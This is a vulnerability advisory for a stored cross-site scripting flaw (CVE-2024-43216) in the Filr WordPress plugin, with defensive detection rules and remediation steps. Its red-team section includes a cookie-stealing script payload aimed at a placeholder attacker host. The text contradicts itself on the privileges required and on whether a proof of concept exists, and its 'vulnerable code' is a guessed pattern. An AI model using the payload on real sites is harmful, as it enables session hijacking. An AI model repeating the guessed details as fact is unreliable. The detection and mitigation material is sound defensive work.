CVE-2024-43216

Executive Summary

CVE-2024-43216 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Filr (filr-protection) by WP Chill, affecting versions up to and including 1.2.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into pages processed by the plugin. This can lead to session hijacking, credential theft, or defacement of the WordPress site. The CVSS v3.1 base score is 6.5 (Medium), with a low attack complexity and no privileges required for exploitation, though user interaction is required. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and consider removing or disabling the plugin if no patch is forthcoming. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed for initial access, but stored XSS requires a user to view the injected content.
• User Interaction (UI): Required (R) – Victim must visit a page containing the malicious payload.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used WordPress plugin elevates the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability exists in the Filr plugin, which provides file protection and download management features. The plugin fails to properly sanitize user input when rendering certain fields (likely file names, descriptions, or user-submitted metadata) in the WordPress admin panel or front-end pages. An attacker with contributor-level access or higher can inject malicious JavaScript code into these fields. When an administrator or other user views the affected page, the script executes in their browser context, potentially allowing the attacker to:

• Steal session cookies.
• Perform actions on behalf of the victim (e.g., create admin accounts).
• Deface the site.
• Redirect users to malicious sites.

The root cause is the use of unsanitized output functions (e.g., echo without esc_html() or wp_kses()) in the plugin’s template files.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.2.4. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (Filr plugin)
echo '<div class="filr-file">' . $file_name . '</div>';

The patched version would use proper escaping:

// Patched code
echo '<div class="filr-file">' . esc_html( $file_name ) . '</div>';

Without a vendor patch, users must manually apply similar escaping or remove the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Filr plugin <= 1.2.4 installed and activated.
• An account with at least Contributor role.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the Filr plugin settings or file management page.
3. In a field that accepts user input (e.g., file description), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the changes.
5. Craft a link to the page where the payload is stored and send it to an administrator.
6. When the admin views the page, the script executes.

Advanced Payload (session cookie theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual input in Filr plugin fields (e.g., <script> tags).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review server logs for requests containing encoded JavaScript.

Mitigation:

• Disable or remove the Filr plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• File System: Presence of unexpected JavaScript in Filr plugin database entries (e.g., wp_postmeta or custom tables).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Admin panel access logs showing unusual input in Filr-related pages.
• Browser: Users reporting unexpected pop-ups or redirects when viewing Filr pages.

Detection Engineering

YARA Rule

rule CVE_2024_43216_Filr_XSS {
    meta:
        description = "Detects stored XSS payloads in Filr plugin database entries"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-43216"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $filr_table = /filr_protection/i
    condition:
        $filr_table and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-43216 Filr Plugin Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts against the Filr WordPress plugin
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-content/plugins/filr-protection/'
        c-request|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43216 Filr Plugin Stored XSS Attempt"; flow:to_server; content:"/wp-content/plugins/filr-protection/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Filr plugin until a patch is released.
2. Remove the plugin if it is not critical to operations.
3. Scan the WordPress database for injected XSS payloads using the YARA rule above.
4. Rotate all admin credentials if compromise is suspected.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Use a security plugin (e.g., Wordfence, Sucuri) for virtual patching.

Vendor Contact: WP Chill has not responded to reports. Users should monitor the plugin’s WordPress.org page for updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert